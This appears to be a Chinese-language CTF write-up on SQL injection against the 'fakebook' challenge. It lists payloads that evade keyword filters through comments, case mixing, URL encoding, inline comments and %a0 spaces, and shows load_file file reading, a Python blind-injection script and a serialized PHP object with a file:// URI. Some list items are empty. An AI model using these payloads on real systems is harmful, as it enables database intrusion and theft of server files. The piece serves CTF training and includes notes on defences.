在CTF比赛中,SQL注入类题目往往不会直接让你轻松使用union select这样的标准语法。出题者通常会设置各种过滤规则,比如拦截空格、注释符或者特定关键词。面对这种情况,很多中级玩家容易陷入思维定式,反复尝试被拦截的payload而不得其解。今天我们就来系统性地探讨几种绕过union select过滤的方法,并最终实现文件读取的高级技巧。
首先我们需要明确一点:在真实的CTF比赛中,盲目尝试各种payload不仅效率低下,还容易被系统记录异常行为。正确做法是先全面分析题目环境,找出可能的注入点和过滤规则。
以fakebook这道经典题目为例,通过基础测试我们可以发现:
view.php的no参数union select被直接过滤关键发现:通过简单的布尔测试(如?no=1 and 1=1和?no=1 and 1=2),我们确认了注入存在,并且获取到了网站目录结构信息:/var/www/html。这个信息对后续文件读取至关重要。
当标准语法被过滤时,我们需要寻找替代方案。以下是几种经过验证的有效方法:
最直接的绕过方式是利用SQL注释符分割被拦截的关键词:
sql复制?no=-1 union/**/select 1,2,3,4--+
?no=-1 union//select 1,2,3,4--+
这两种方式都能有效绕过简单的关键词过滤:
/**/是SQL中的多行注释符//在某些数据库环境中也被识别为注释--+用于注释掉后续语句某些简单的WAF可能只检查小写形式的敏感词:
sql复制?no=-1 UniOn SeLeCt 1,2,3,4--+
或者使用URL编码:
sql复制?no=-1 %75%6e%69%6f%6e %73%65%6c%65%63%74 1,2,3,4--+
MySQL特有的内联注释语法也能有效绕过:
sql复制?no=-1 /*!union*/ /*!select*/ 1,2,3,4--+
成功绕过过滤后,下一步是确定回显位置。通过以下payload可以测试:
sql复制?no=-1 union/**/select 1,2,3,4--+
假设我们发现第2和第4列有回显,就可以利用这些位置获取信息:
获取数据库信息:
sql复制?no=-1 union/**/select 1,user(),3,database()--+
获取表名:
sql复制?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
在fakebook题目中,我们已经知道flag可能位于/var/www/html/flag.php。通过以下方法可以直接读取文件内容:
sql复制?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
注意事项:
对于大型文件或需要精确控制的情况,可以编写Python脚本逐字符读取:
python复制import requests
url = "http://target.com/view.php"
file_path = "/var/www/html/flag.php"
result = ""
for i in range(1, 100):
for c in range(32, 127):
payload = f"1 and ascii(substring(load_file('{file_path}'),{i},1))={c}"
r = requests.get(url, params={'no': payload})
if "正常页面标识" in r.text:
result += chr(c)
print(result)
break
在fakebook题目中,还可以利用UserInfo类的反序列化特性:
sql复制?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这种方法需要:
作为CTF选手,了解防御措施不仅能帮助我们更好地解题,也能提升安全意识:
| 防御措施 | 绕过难度 | 实现复杂度 |
|---|---|---|
| 关键词过滤 | 中等 | 低 |
| 预处理语句 | 高 | 高 |
| 字符转义 | 中等 | 中等 |
| 权限控制 | 高 | 高 |
在实际CTF题目设计中,出题者通常会:
在多次CTF比赛中,我发现以下几个技巧特别实用:
常见误区:
最后分享一个真实案例:在某次比赛中,题目过滤了所有空格字符,但允许%a0(非断空格)。通过使用?no=1%a0union%a0select成功绕过,这提醒我们要对各种空白符变体保持敏感。